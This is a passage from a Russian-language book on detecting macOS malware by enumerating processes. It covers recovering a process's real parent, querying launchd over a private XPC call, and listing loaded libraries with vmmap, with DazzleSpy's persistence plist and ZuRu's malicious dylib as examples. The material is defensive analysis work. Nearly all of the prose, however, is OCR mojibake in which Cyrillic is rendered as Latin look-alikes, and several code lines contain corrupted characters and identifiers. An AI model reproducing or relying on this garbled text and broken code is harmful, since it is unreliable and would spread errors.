Mocne Toro kak Mbl NpeobpasoBanu crioBapb CFDictionaryRef B 06bekT NSDictionary, MOXHO

HanpsMyo obpalLaTbCs K ero napam Krnoy-3HavyeHune, Bkoyas pogutens npouecca. CepuiiHbii Homep

pOANTENBLCKOro rnpoLecca HaxoAamTcs B Kntoye ParentPSN. Mockonbky ero tun - kCFNumberLonglong

(long long), CEPUNHBIN HOMEP NpoLEecca HY>KHO BOCCTAHOBUTL BPYYHYIO (NMUCTUHT 1-15).
ProcessSerialNumber ppsn = {kNoProcess, kNoProcess};

ppsn.lowLongOfPSN = [processInfo[@"ParentPSN"] longlLongValue] & ©x0000000OFFFFFFFFLL;
ppsn.highLongOfPSN = ([processInfo[@"ParentPSN"] longlLongValue] >> 32) & Ox0000000OFFFFFFFFLL;

JInctnHr 1-15: BoccTaHOBNEHME CEPUIAHOIO HOMEpa POAUTENBLCKOro npoLecca

Korga y Hac ecTb CEpUiHbIN HOMEP POAUTENBCKOrO NpoLecca, MOXHO NOMyYnTb MOAPOBHOCTM O HEM,
noBTOpHO BbI3BaB APl ProcessInformationCopyDictionary, Ha 9TOT pa3s, KOHEYHO, C CEPUMAHBLIM
HOMEpOM POoaMTENbLCKOro npouecca. 3To AaeT HaM ero uaeHTMdukaTop npouecca, NyTb, UMSA 1 MHOroe
apyroe. 3gech Hac bonblue BCero MHTepecyeT ngeHTnudmrkaTop npouecca, KOTopbI MOXHO HaWTK B
Kritove ¢ nmeHem pid.

CTOMT OTMETUTB, YTO NOMYYEHNE CEPUHOIO HOMEPA NpoLiecca 3aBEPLUMTCA Heyaayen Anst CUCTEMHBbIX
unu dhoHOBbLIX NpoLeccoB. [MpoM3BOACTBEHHLIN KOA AOMKEH YUNTbIBATE 3TOT Cry4van, Hanpumep
npoBsepsd Bo3Bpallaemoe 3HayeHne GetProcessForPID UK BbIACHASA, OTCYTCTBYET N KItod ParentPSN
nnbo cogepXknT Nn oH Hynesoe 3HaveHue. Kpome Ttoro, API Application Services He criegyeT Bbi3biBaThb M3
(POHOBLIX NPOLECCOB, TAKUX KaK 4EMOHbI NN CUCTEMHbIE paCLLUNPEHUS.
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BcrnomHuTe, YTO, KOraa mMbl 3anyckanu Calculator, paHee obcyxaaBLumMecs MeToAbl HE CMOITN YCTaHOBUTb
€ro UICTUHHOIO PoaMTENs, BMECTO 3TOro Bo3spawlas launchd nnm cam npouecc. Kak cnpaesnsieTca nogxon,
API Application Services? CHavana BepHemcs k aksemnnsapy Calculator, 3anyweHHomy yepes Finder:

% ./enumerateProcesses
(2726):/System/Applications/Calculator.app/Contents/Mac0S/Calculator

parent: (1) launchd
responsible parent: (2726) Calculator
application services parent: (21264) Finder

Ycnex! Tenepb koA npaBunbHO onpegensieT Finder kak npouecc, UHULMMPOBABLUNI 3anyCK NPUNOXEHUS
Calculator. AHanoruyHo, ecnn Calculator 3anyLieH yepes Dock unu ctpoky noucka Spotlight, kog cmoxeT
onpenenuTb 1 KaXablil U3 HUX.

Bo3moxHO, Bbl 3ajaeTecb BONPOCOM, NOYeMy B 3TOM pasfgerne obcyganocb Tak MHOMO pasHbiX METOA0B
onpegerneHnsi Hanbornee None3Horo poanTens npouecca. NpnynHa B TOM, YTO HX OAMH U3 METOO0B He
saBnseTca 6e30Tka3HbIM, MO3TOMY UX YacTo NpuaeTcs KombuHmpoBaTk. [ns Havana, ucnons3oBaHune API
Application Services, noxoxe, gaeT Hambonee penesaHTHble pe3ynbTaTtbl. OgHaKo BbI30BbI
GetProcessForPID MOryT 3aBepLllaTbCs Heyaayen Ans HeKOTopbIX npoueccos. B aToM cnyyae pasymHo
OoTKaTUTbCA K responsibility get pid responsible for_pid. Ho, kak Bbl BUAENN, OH MHOr4a MOXET
BEPHYTb poANTENS, SABNSAOLErocss caMmMM NpoLeccoMm, 4To BecnonesHo. B Takom cnyvae MOXHO
OTKaTUTbLCS K cTapoMy fobpoMy e_ppid. M XxoTs oH YacTo npocTo coobwaeT poantens kak launchd, Bo
MHOIMX ApYrmMx crny4yasix oH pabotaet. Hanpumep, B atake Lazarus, o6cyxaaBLuencsa paHee, OH
npaswuneHo onpeaenun Word kak poautens curl. [l

UHcopmaumna 06 okpyxeHUU

Tenepsb, Koraa Bbl 3HaeTe, Kak NOCTPOUTL UCTUHHOE AepeBo MPOLIeCCoB, MOCMOTPUM, Kak cobupaTb
nHdopmaumio 06 oKpy>keHun npouecca. BoamoxxHo, oanH cnocob caenaTb 9TO BaM 3HaKOM:
ucnonb3oBaTtb yTMNUTY launchctl, y KOTOpoOW ecTb NnapaMeTp KOMaHOHOW CTPOKM procinfo,
BO3BpaLLlaloLWwnin apryMeHTbl npoLecca, CBEAEHUS O NOANUCU KoAa, OKPYXXEHNE BPEMEHM BbINMONHEHNUS 1
MHOroe gpyroe. XoTs paHee Mbl 06Cyxganv agpyrue metogpl cbopa vactu aton MHdopmMaumm, launchctl
MOXeT AaTb AONOMHUTENbHLIA MCTOYHUK U BKITIOYAET CBEAEHUS, HeAOCTYNHbIE APYrMMU METOAaMU.

K coxaneHuto, launchctl He gBnsieTca open source, a ero BHyTpeHHee YCTPONUCTBO He
OOKYMEHTUpoBaHo. B aToM pasgene Mbl BbINOMHMM 00paTHyto pa3paboTky napameTpa procinfo u
NMOBTOPHO peanunayem ero forvky B CO6CTBEHHbIX MHCTPYMEHTaxX, YTOObI Nony4aTb CBeAEHMS O ModoM
npotiecce. 9Ty peanusaumnio C OTKPbITbIM NCXOA4HbIM KOAOM Bbl HanaeTe B npoekte procInfo 3ToOM rnaebl.

Mpumeyanune. Kog B 3TOM pasgene BOOXHOBMNEH uccrnegosaHmem [)xoHaTtaHa JleBuHa. [12] A
06HoBUN ero nogxon aAns 6onee HoBbix Bepcuii macOS.

Mpexae Yem NPONTUCH MO KoAy U3 NpoekTa procInfo, KPATKO U3MOXUM MOLAXOA: HY>KHO BbIMONHUTL BbI30OB
K bootstrap pipe launchd ¢ nomoLLbo 3aKpbITOM OYHKUMU Xpc_pipe_interface_routine. Bbi3os aton
dyHKUMM ¢ ROUTINE_DUMP_PROCESS (0x2c4) n XPC-cnoBapem, cogepalimm Kak ngeHTugpukaTop
LieneBoro npotecca, Tak 1 BeixogHow 0ydep obLier namaTi, BEpHET CKOMYIO MHCAOPMaLMIO O NpoLiecce.
CHauana kof 06bsBnseT HECKOMNbKO NepeMeHHbIX, HeobxoamMblx Ang BbinonHeHus XPC-3anpoca
(nmucTuHr 1-16).
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xpc_object_t procInfoRequest = NULL;
xpc_object_t sharedMemory = NULL;
xpc_object_t _ autoreleasing response = NULL;
int result = 0;

int64_t xpcError = 0;

void* handle = NULL;

uint64_t bytesWritten = 0;

vm_address_t processInfoBuffer = 0;

static int (*xpc_pipe_interface_routine_FP)
(xpc_pipe_t, int, xpc_object_t, xpc_object_t*, int) = NULL;

struct xpc_global_data* globalData = NULL;
size_t processInfolLength = ©0x100000;
Jlncturr 1-16: O6bsBNEHME HEOBXOAMMbBIX NEPEMEHHbIX

OTU NnepeMeHHble BKINIOYalT, Cpeam npoyero, ykasaTernb Ha OYHKUMIO, KOTOPbIN No3xe byaet XxpaHnTb
afpec 3aKpbiTon xpc_pipe_interface_routine, ykasatenb Ha rmobanbHyto CTPYKTYpY AaHHbIX XPC u
ONNHY, U3BMNeYeHHyo npy obpaTtHon pa3paboTke launchctl.

3ateM Mbl co3gaem oObekT obLuen namsaTy BbldoBoM API xpc_shmem_create. XPC-BbI30B 3aMoSfHUT €ro
nHdopmaumen o LenesoMm npouecce, KOTOpbIA Mbl onpalumMaem (MUCTUHr 1-17).

vm_allocate(mach_task_self(), &processInfoBuffer,
processInfolength, VM_FLAGS_ANYWHERE|VM_FLAGS_PURGABLE);

sharedMemory = xpc_shmem_create((void*)processInfoBuffer, processInfolLength);
Jlucturr 1-17: CosgaHne obbekTa 0bLert namaTy

Hanee mbl coszgaem 1 nHnynanuanpyem XPC-crioBapb. OTOT CnoBapb AOSDKEH COAEPXKaTb
noeHTudmkaTop NpoLecca, KOTOPbIA Mbl ONpaLlMBaeM, a Takke TOMbKO YTO CO30aHHbIM 00BbEKT obLLen
namaTy (MUcTuHr 1-18).

pid_t pid = <some process id>;

procInfoRequest = xpc_dictionary_create(NULL, NULL, ©);
xpc_dictionary_set_int64(procInfoRequest, "pid", pid);
xpc_dictionary_set_value(procInfoRequest, "shmem", sharedMemory);

JnctnHr 1-18: Mnuuuwanusauus crnoaps XPC-3anpoca

3arem kop nonyyaeT rnobanbHbIN 0ObEKT AaHHbIX TUMNa xpc_global data* n3 maccuea
os_alloc_once_table (nuctuHr 1-19).

struct xpc_global_data

{
uint64_t a;
uint64_t xpc_flags;
mach_port_t task_bootstrap_port;
xpc_object_t xpc_bootstrap_pipe;
¥
struct _os_alloc_once_s
{
long once;
void* ptr;
¥

extern struct _os_alloc_once_s _os_alloc_once_table[];
globalData = (struct xpc_global_data*)_os_alloc_once_table[1].ptr;

JTnctuur 1-19: Mi3BneyeHne rnobanbHbIX AaHHbIX
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OT1oT 06bekT copgepxut XPC pipe (xpc_bootstrap_pipe), HeoOxoaMMbIn ANs BbI3OBOB (OYHKLNM
xpc_pipe_interface_routine. [Nockonbky ata oyHKUMSA 3aKpbITas, Mbl 4OMKHbI AMHAMUYECKN
paspeLwunTb ee 1n3 ubnmotekn 1ibxpc (nmmuctuHr 1-20).

#import <dlfcn.h>

handle = dlopen("/usr/lib/system/libxpc.dylib", RTLD_LAZY);
Xpc_pipe_interface_routine_FP = dlsym(handle, "_xpc_pipe_interface_routine");

JluctnHr 1-20: PaspelueHne ykasaTtens Ha (OyHKLMIO

HakoHeL, Mbl roToBbl BbiNonHUTL XPC-3anpoc. Kak y>xe oTMe4anoch, Mbl UCMOMb3yeM OYHKLNIO
xpc_pipe_interface_routine, koTopas npuHMmaeT Takue aprymeHTbl, kak XPC bootstrap pipe, routine,
Hanpumep ROUTINE_DUMP_PROCESS, 1 crioBapb 3anpoca, cogepxalimi csegeHunsi KoHKpeTHon routine,
Takve Kak nageHtudmkatop npouecca u bydgep obiien namsatn ans Beioga routine (nuctuur 1-21).

#define ROUTINE_DUMP_PROCESS 0x2c4

result = xpc_pipe_interface_routine_FP((__bridge xpc_pipe_t)(globalData->xpc_bootstrap_pipe),
ROUTINE_DUMP_PROCESS, procInfoRequest, &response, 0x0);

JluctnHr 1-21: 3anpoc nHdpopmaumm o npouecce Yyepes XPC

Ecnun aTOT 3anpoc ycnelleH, To eCTb pe3ynbTaT paBeH HyMto, a CrioBapb OTBETA, NepefaHHbIv B
xpc_pipe_interface_routine, He cOgepXuT KNOY error, TOraa cnoBapb oTBeTa byaeT cogepxaTtb
napy Krno4-3HayeHune ¢ Krn4voMm bytes-written. Ee 3HauyeHMe - konmyecTBo 6aTOB, 3aMMCaHHbIX B
BblaeneHHbIN Oydep, KOTopbI Mbl JoOaBUNM B 0ObEKT 00Len namaTy. B nuctnHre 1-22 mbl nssnekaem
3TO 3HaYeHue.

bytesWritten = xpc_dictionary_get_uint64(response, "bytes-written");
Jlnctunr 1-22: VisBneyeHne pasmvepa gaHHbIX OTBETA

Tenepb MOXHO HanpsiMyto 06paTuTbes K Bydepy, Hanpumep 4ToBLI co3aaTh CTPOKOBbLIN 06BEKT,
coaepXaLlmi BClo MHCpopMaLumio O LiefnieBoM npouecce (MMCTUHr 1-23).

NSString* processInfo = [[NSString alloc] initWithBytes:(const void*)
processInfoBuffer length:bytesWritten encoding:NSUTF8StringEncoding];

printf("process info (pid: %d): %s\n",
atoi(argv[1]), processInfo.description.UTF8String);

JlnctnHr 1-23: NpeobpasoBaHue nHgopmaLmm 0 NpoLecce B CTPOKOBbIN 00beKT

XoTda Mbl NpeobpasoBany 3Ty MHAOPMaLMI0 B CTPOKOBLIN 06BEKT, OHa BCA cobpaHa BMecTe, MO3TOMY
COOTBETCTBYHLLME YaCTW BCE PaBHO NpuaeTcsa pa3bupaTtb BpyUHY0. TOT NpoLECC 34eCh He
paccMmaTpuBaeTcs, HO MOXHO 00paTUTbCS K MPOeKTY procInfo, KOTOPbLIA U3BMNEeKaeT AaHHbIE B CNIOBapb
nap Knwoy-3HayeHue.
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MHdopmaums, Bo3BpalleHHast u3 launchd, cogepxut maccy nonesHbix ceegeHuii! Ytobnl
NPOUNIIIOCTPUPOBATL 3TO, 3anycTute procInfo AnNg NOCTOSAHHOrO KoMnoHeHTa DazzleSpy, KoTopbIn
YCTaHOBIEH KaK ~/ .1local/softwareupdate n B faHHOM criyvae BbINOMHAETCA C MAEHTU(UKATOPOM
npouecca 16776:

% ./procInfo 16776

process info (pid: 16776): {

active count =1

path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
state = running

program = /Users/User/.local/softwareupdate
arguments = {
/Users/User/.local/softwareupdate

1

¥

inherited environment = {

SSH_AUTH_SOCK =>
/private/tmp/com.apple.launchd.kEoOvPmttl/Listeners
¥

default environment = {

PATH => /usr/bin:/bin:/usr/sbin:/sbin

¥

environment = {

XPC_SERVICE_NAME => com.apple.softwareupdate
¥

domain = gui/501 [100005]

runs = 1

pid = 16776

immediate reason = speculative

forks = @

execs =1

spawn type = daemon (3)

properties = partial import | keepalive | runatload |
inferred program | system service | exponential throttling

}

Ota uHopmauums o npouecce, cobpaHHas ogHUM XPC-BbI30BOM, MOXET NOATBEPAUTL 3HAHMS,
nony4yeHHble N3 apyrnx NICTOYHUKOB, U AaTb HOBbIE I'IO,EI,p06HOCTI/I. Hanpvuvlep, €CInn Bbl onpaiwinBaeTe
launch agent unu daemon, Takon kak DazzleSpy, kntou path B oTBeTE C MHGpOpMaLMen o npouecce byaeT
copepxatb property list, oTBevatowmin 3a nopoxaeHne obbekTa:

path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist

Mbl MOXXeM noATBEPAMTL STOT (haKT, BPy4HHYIO0 MCCneaoBaB ykasaHHbIN property list, koTopbiM ans
DazzleSpy 6bin com.apple.softwareupdate.plist, n 0TMeTMB, YTO yKa3aHHbIN NyTb AEACTBUTENBHO
yKasblBaeT 06paTHO Ha ABOWYHbBIN dhaisl BpeAOHOCHOW Nporpammbl:

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>

<key>KeepAlive</key>

<true/>

<key>Label</key>
<string>com.apple.softwareupdate</string>
<key>ProgramArguments</key>

<array>
<string>/Users/User/.local/softwareupdate</string>
<string>1</string>

</array>

<key>RunAtLoad</key>

<true/>

<key>SuccessfulExit</key>

<true/>

</dict>

</plist>
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Hanuume cnocoba npocneantsb naeHTnduKaTop npotecca odpaTHo K property list launch item, koTopblii
BbI3Basn ero NopoXxaeHue, BecbMa nonesHo. MNouemy?

YTt06bI 4OBUTLCA 3akpenneHns, 6onbLIMHCTBO BPEAOHOCHLIX NPorpaMM yctaHaBnmBaeT cebs kak launch
item. XoTa nerntumHoe MO Toxe 3akpennseTca TakuMm obpasomM, Bce 371 launch items 3acnyxmBatoT
N3y4YeHUs], MOCKOMbKY CPeAM HUX Y BaC €CTb XOPOLLME LUAHChl HAWTW MoBYI0 MOCTOAHHO YCTaHOBIIEHHYO
BPEOOHOCHYIO Nporpammy.

NMoanuck Kopa

BkpaTue, nognucb Koga MOXeT AoKasaTb, KTO co3garn 00beKT, U NPOBEPUTL, YTO OH HE ObliT UBMEHEH.
MoaTtomy nobon anroputm oOHapy>XeHUs, NbITALWMACS KnaccudumumpoBaTh 3anyLeHHbIN MPOLLECC Kak
BPEeAOHOCHbIN UM 6e306uaHbIN, AOMKEH n3BnekaTb 3Ty Hpopmaumio o nognucu koga. Cneayet
BHMMAaTESbHO UCCneaoBaTb HEMOANMMUCaHHbIE MPOLECChI M Npouecckl, nognucanHble ad hoc, notomy 4To B
HalLM OHM nogaensouee 60MbLMHCTBO NNEMMTUMHbBIX MPOrpamMMm, KOTopble Bbl HaaeTe paboTalolwmmm B
macOS, ogHOBPEMEHHO NOAMMCAaHbI N HOTapuarbHO 3aBEPEHDI.

KctaTtu o KOppeKkTHO NOANMCaHHbIX NpoLieccax: NpoLecchl, NpUHaanexallime XopoLo U3BECTHbIM
paspaboTtumnkam MO, ckopee Bcero, 6€306MaHbI, €CNM OCTaBUTb B CTOPOHE aTaku Ha LEeNoYKn NOCTaBOK.
Bonee Toro, ecnu npouecc nognucaH camon Apple, oH He ByaeT Bpe4OHOCHOW NPOrpaMMON, XOTS, Kak Mbl
BUAENN, BpeAOHOCHas nporpaMma MoXeT UCNoNb30oBaTh ABOUYHbLIE harinbl Apple Ang BbINOMHEHUS
BPEAOHOCHbIX AENCTBUI, KaK B Cryvae MCrnonb3oBaHus rpynnon Lazarus curl ans sarpysku
OOMONTHUTENbHBIX BPE4OHOCHBIX payload.

M3-3a BaXKHOCTM 3TOW TEMBI Lienas rnasa nocesileHa Tonbko noanucu koda. B rmase 3 Mbl BCECTOPOHHE
obcyxgaem aTy Temy, NPUMEHSISt ee Kak K 3anyLleHHbIM MpoLeccam, Tak 1 K Takum obbekTaM, kak disk
images 1 packages.

3arpyeHHble 6MONUOTEeKH

MblTasicb 0OHapYUTb BP€OOHOCHbIE MPOrpaMMbl MyTEM aHanmn3a 3anyLeHHbIX NPoLEeccoB, HeobXxoaumo
Takke NepeyncnsaTb Bce 3arpyxeHHble bnubnunotekn. CkpbiTHast Bpe4OHOCHasi NporpamMma, Takasi Kak
ZuRu, He nopoxgaeT caMOCTOATENbHBIN NPOLIECC, a 3arpy>KaeTcs B MOAMEHEHHbIN, XOTH B OCTalbHOM
NEernMTUMHBIN, Npouecc. B Takom criyyae rnaeBHbIN UCMOSTHAEMbIV ABOMYHBINA dhainn npouecca byaet
6e300MaHbIM, XOTS U UIBMEHEHHbIM TakK, YTODbI CCbiNnaTbCa Ha BPEAOHOCHYI0 B1ONMOTEKY M TEM CambiM
rapaHTMpoBaTh ee 3arpysky.

[axe ecnv BpegoHocHas nporpaMma AeCTBUTENbHO BbINOMHAETCA Kak CaMOCTOATENbHbIN NpoLiecc, BaM
BCE PaBHO HY)XHO MepeyYmnCrnTb ee 3arpy’KeHHble GUGNMoTEeKM NO crieayloLwUM NPUYUHaM:

* BpegoHocHasa nporpamMmma MOXeT 3arpyxaTb AONOofHUTENbHbIE BPeAOHOCHbIE plug-ins, KOTOpbIe Bbl,
BEPOATHO, 3aX0TMUTe NPOCKaHNpOBaTb UMW NPoaHann3MpoBaTh.

* BpegoHocHas nporpamma MOXeT 3arpyxaTb NermTuMHbIE CUCTEMHbIE BMBIMOTEKN ANS BbINONHEHUS
noApbIBHLIX AencTeui. OHWM MOTyT AaTb NPeAcTaBreHne O BO3MOXHOCTSX BPEAOHOCHON NporpamMmel,
HanpvMep OHa MOXeT 3arpy3vTb CUCTEMHbIN (PPENMBOPK, UCMONb3YyeMbI Afsi B3aMMOAENCTBUS C
MUKPOHOHOM Unu BeG-kamepon.

K coxaneHuto, n3-3a gyHkuun 6esonacHoctn macOS gaxxe nognmncaHHble U HoTapuanbHO 3aBEPEHHbIE

CTOPOHHUE NMHCTPYMEHTbI 6€30MacHOCTM HE MOTYT HaNpPsIMyHo NEPEYUCSATb 3arpyXeHHble GubnuoTekn. K
CYaCTbHO, CYLLECTBYHOT KOCBEHHbIE CMOCODbLI CAENaTh 3TO C MOMOLLbIO BCTPOEHHbIX YTUIMT macOS, Takmx
Kak vmmap. OTOT MHCTPYMEHT obnagaeT Heckonbkumm entitlements, goctynHeiMy Tonbko Apple, kKoTopble
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Mo3BOMSAT eMy YMTaTb NaMATb YAaNEHHbIX NPOLIECCOB Y NPeAoCTaBNsATb KapTy, BKIOYAOLLYO BCe
3arpyxeHHble GubnuoTeKm.

3anyctute vmmap Ans ynomsiHyTom Bblwe ZuRu, KoTopas TPOSHU3MPYET KOMUI0 NONYMSPHOro NPUnoxeHus
iTerm(2). 310 xopoLwun Nnpumep, NOCKOSbLKY ee BpeLOHOCHAas JNTOrnkKa peanv3oBaHa UCKIMOUYNTENBHO B
ANHamun4eckorn 6mbnmnoTteke ¢ umeHem libcrypto.2.dylib. Mbl BbINONIHUM vmmap ¢ onarom -w, 4Tobbl
OH HaneyaTtan NnosHbIN NyTb CONOCTaBMNEHHbIX 6ubnmoTek ZURuU. IHCTpYMeHT oxunaaeT nageHtndukatop
npouecca, No3ToMy Mbl Nnepegaem emy ngeHtudgpukatop ZuRu, agecb 932:

% pgrep iTerm2
932

% vmmap -w 932
Process: iTerm2 [932]
Path: /Applications/iTerm.app/Contents/Mac0S/iTerm2

==== Non-writable regions for process 932

REGION START - END DETAIL

__ TEXT 102b2b000-103247000 /Applications/iTerm.app/Contents/Mac0S/iTerm2

_ LINKEDIT 103483000-103cb4000 /Applications/iTerm.app/Contents/Mac0S/iTerm2

__TEXT 10da4doee-10da85000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
__LINKEDIT 10da91000-10dacdeee /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib

B aTOM CcoKpalleHHOM BbIBOAE MOXHO YBUOETb COMOCTABMNEHUS IMABHOIrO obpasa ABonYHOro darina
(iTerm2), a Takke AMHaMN4YeCkux BMBNNOTEK, TaKUX KaK AUHAMUYECKMI 3arpy3urk dyld n BpegoHocHas
oubnnoteka libcrypto.2.dylib.

Kak s onpegenun, 4to libcrypto.2.dylib Gbina BpeAOHOCHLIM KOMMNOHEHTOM? 3aMeTUB, YTO 3TY KOMUIO
iTerm2 nognucan Jun Bi, a He NerMTUMHBIN pa3paboTynK, S CPaBHWIT CMIMCOK 3arpyXeHHbIX eto Brnbnmnorek
CO CMUCKOM BUBNNOTEK, 3arpy>KeHHbIX UCXOAHbIM npunoxeHnem. OTnmumne 6bino TONbLKO OAHO:
libcrypto.2.dylib. CtaTtuyeckuin aHanm3 nogTBeEpAnI, YTo 3Ta aHoMarnbHasa onbnmorteka
OEVCTBUTENBHO BPEAOHOCHA.

MockonbKy y Hac HET 3akpbITbix Apple entitlements, HeobxoaAMMBIX ANA YTEHWA NaMSATU yaaneHHbIX
NpoLIeCCOB, KOTOPas BKIHOYAET BCe 3arpy>KeHHble 61bnmnoteku, Mbl MPOCTO BbINOMAHMM vmmap 1 pasbepem
ero BbiBog. Heckonbko moux MHCTpymeHTOB Objective-See, Takux kak TaskExplorer, (13] NCNOnb3ylT aTOT
noaxon. Koa, peanuayoLmm 3TOT NPoLece, Takke MOXHO HaUTU B (OYHKUMK C MMeHeM getLibraries
npoekta enumerateProcesses.

CHauana Ham HyXHa BcrnomMoraTenbHasi yHKUNSA, CNOCOBHast BbIMOMHWUTL BHELLUHWUIA ABOUYHBIN dhann n
BEPHYTb €ro BbIBOA (TMCTUHT 1-24).

#tdefine STDERR @"stdError"
#define STDOUT @"stdOutput”
#define EXIT_CODE @"exitCode"

NSMutableDictionary* execTask(NSString* binaryPath, NSArray* arguments) {
NSTask* task = nil;
NSPipe* stdOutPipe = nil;
NSFileHandle* stdOutReadHandle = nil;
NSMutableDictionary* results = nil;
NSMutableData* stdOut = nil;
results = [NSMutableDictionary dictionary];
task = [NSTask new];
stdOutPipe = [NSPipe pipe];
stdOutReadHandle = [stdOutPipe fileHandleForReading];
stdOutData = [NSMutableData data];

task.standardOutput = stdOutPipe;
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task.launchPath = binaryPath;

if(nil != arguments) {
task.arguments = arguments;

¥
[task launch];

while(YES == [task isRunning]) {
[stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
}

[stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];

if(@ != stdOutData.length) {
results[STDOUT] = stdOutData;
}

results[EXIT_CODE] = [NSNumber numberWithInteger:task.terminationStatus];

return results;

}
JluctmHr 1-24: BoinonHeHue 3agaym u 3axBaT ee BbiBOAA

DOyHKLMA execTask BbINONHAET 3agadvy ¢ ykasaHHbIMU napameTpamu yepes APl Apple NSTask. OHa xger,
noka NopoXxaeHHasi 3afaya 3aBepLUMTCS, U BO3BpaLLAEeT CNoBapb, COAEMKALLNA pasfnnyHble nNapbl
KIntoY-3HaYeHne, BkItouas nobon BbIBOA, KOTOPLIA KOMaHAa creHepupoBana B stdout. YTobbl 3axBaTuTh
BbIBOZ 3a4a4u, ko UHMUManuanpyeT obbekT pipe (NSPipe), a 3aTem HasHa4vaeT ero ctaHgapTHbIM
BbIBOOOM 3agaun. Korga 3agava reHepupyeT BbIBOA, KOA YnTaeT M3 hannoBoro 4eckpuntopa pipe u
pobaBnseT gaHHble B Oydbep gaHHbIX. Korga 3agava 3aBepluaeTcs, Nobon oCcTaBLUMINCS BbIBOS,
cunTbiBaeTcs, a 6ydep AaHHbIX COXpaHSETCSA B CriOBape pe3ynbTaToB, KOTOPLIN BO3BpaLLaeTcs
BbI3blBaKOLLEMY KOLY.

BbisbiBatoLLas cTopoHa yHKUMMK, Hanpumep getLibraries, MOXeT BbI3BaTb €€ C NyTEM K fitobomy
ABovnyHoMYy dhanny u mobbimMu aprymeHTamu. MNpun Heo6xoanMMOCTU MOXHO Npeobpa3oBaTh ee BbiBOA B
CTPOKOBbIN 06bEKT (NMUCTUHT 1-25).

pid_t pid = <some process id>;

NSMutableDictionary* results = execTask(@"/usr/bin/vmmap", @[@"-w", [[NSNumber
numberWithInt:pid] stringValue]]);

NSString* output = [[NSString alloc] initWithData:results[STDOUT]
encoding:NSUTF8StringEncoding];

Jinctur 1-25: MpeobpasoBaHue BbiBOAA 3afa4uv B CTPOKOBbIA 0OBbEKT

3aTem Mbl MOXXeM pa3obpaTb BbIBOA Vmmap MHOXECTBOM CMOCOO0B, HAaNpMMep NOCTPOYHO UK C
MOMOLLIbIO PErynspHbIX BbipaXXeHUA. JINCTUHT 1-26 nokasbiBaeT OAUH NPUEM.

NSMutableArray* dylibs = [NSMutableArray array];

for(NSString* line in
[output componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {

if(YES != [line hasPrefix:@"__TEXT"]) {
continue;
}
}

JlnctnHr 1-26: Pa3bop cTpok BbiBOAA, HAYMHAOLWNXCA ¢ TEXT
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34echb Mbl MLLEM CTPOKU, HaYMHatowmecs ¢ _ TEXT, MOCKONbKY BCE AMHAMUYECKN 3arpy>KeHHble
©1bnnoTekn B BbIBOAE vmap HauYnHaTCA ¢ obnacten namaTy 3Toro Tuna. 3Tu CTPOKN AaHHbIX Takke
coAepXkart MoJHbIA NyTb 3arpy>KeHHOW GMBNNOTEKN, KOTOPLIN HAM U HY>XEH. JIMCTUHT 1-27 n3BnekaeT 3Tu
nyTW BHYTpY Umkna for, NoOKasaHHOro B NUCTUHre 1-26.

NSRange pathOffset = {0};
NSString* token = @"SM=COW";

pathOffset = [line rangeOfString:token];
if(NSNotFound == pathOffset.location) {
continue;

}

dylib = [[line substringFromIndex:pathOffset.location+token.length]
stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];

if(dylib != nil) {
[dylibs addObject:dylib];
¥

JlnctnHr 1-27: N3eneveHne nytn guHammdeckon ondnmorteku

CHavana kog ULLET PeXrMM COBMECTHOTO UCMNOSb30BaHMs copy-on-write ("SM=COW"), KOTOpbI
npeplwecrteyeT NyTu. Ecnu oH HangeH, TO C MOMOLLbIO CMELLIEHUSA NMOCTE PeXrMMa COBMECTHOMO
ncnonb30BaHUA Kof U3BnekaeT cam nyTb. Ha aTom aTtane maccus dylibs gomkeH cogepxatb Bce
anHammdeckne 6nbnmoTekm, 3arpy>KeHHble LierneBbiM NPOLLECCOM.

Tenepb BbINOMTHUM enumerateProcesses npu paboTatoLem ToM xe ak3emnnape ZuRu, KoTopbi Mbl
BUAENM paHee:

% ./enumerateProcesses
(932):/Applications/iTerm.app/Contents/Mac0S/iTerm2

Dynamic libraries for process iTerm2 (932):

(
"/Applications/iTerm.app/Contents/Mac0S/iTerm2",

"/usr/lib/dyld",
"/Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib",

Kak Bngnte, Mbl MOXXeM 13BMeYb BCe 3arpyXeHHble 6ubnuoTtekn B agpecHom npoctpaHcTee ZuRu,
BKNtoYasd BpegoHocHyo libcrypto.2.dylib.

O6paTnTe BHMMaHWe, YTO B HegaBHUX Bepcusax macOS cnucteMHble (peiMBOPKM, KOTOPLIE MO CYTK
ABNAOTCA Pa3HOBUAOHOCTbIO ANHAMUYECKN 3arpyxaembix 6VI6]'II/IOTeK, Obinn nepemMeLleHbl B TaK
Ha3biBaembin dyld shared cache. OgHako vmmap BCe paBHO COOOLUT UCXOAHLIE NyTU (PPEMBOPKOB.
OTO Ba)XXHO MO ABYM OCHOBHbIM NMpu4MHaM. Bo-nepBhbix, ecnu Bbl XOTUTE NccrenoBaTh Koa peiMBOpKa,
ero npuaetcs nseneds 13 shared cache. (14]

Bo-BTOpbIX, €CNK Bbl peanv3oBanu Nornuky obHapyXeHns camoyaanstoLmnxcs 6mbnmotek-gpenmMBopKoB,
ansa aTux GpenMBOPKOB crieayeT caenatb UcKnoveHne. MiHaye Baw Kog COOBLUMT, YTO OHM Obinn
yaaneHbl. OgnH NnpocTon cnocod npoBepuTb, ObIN N 3aaHHbIN hpenMBOpPK NepeMeLLeH B cache, -
Bbi3BaTb API Apple _dyld_shared_cache_contains_path.
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OTKpbITbIE (hannbl

Kak nepeudncneHune sarpykeHHbix 6MGNMOTEK MOXET AaTh NpeacTaBrneHne 0 BO3MOXHOCTAX npoLecca, Tak
Xe MOXEeT MOMOYb U nepeydncneHme Nniobbix OTKPbITbIX harnoB. OTOT NpuemM Mor 6bl MOMOYb HaM BbISIBUTb
BpeAOHOCHYI0 nporpammy, ussectHyto kak ColdRoot, RAT, koTopbli npegoctaBndaeT yaaneHHoOMY
aTaKyloLLEMY NOSHbIV KOHTPOSb Hag, 3apa)KeHHOW CUCTEMON. 5T Ecrm gbl nepeuncnuTe Bce dannbl,
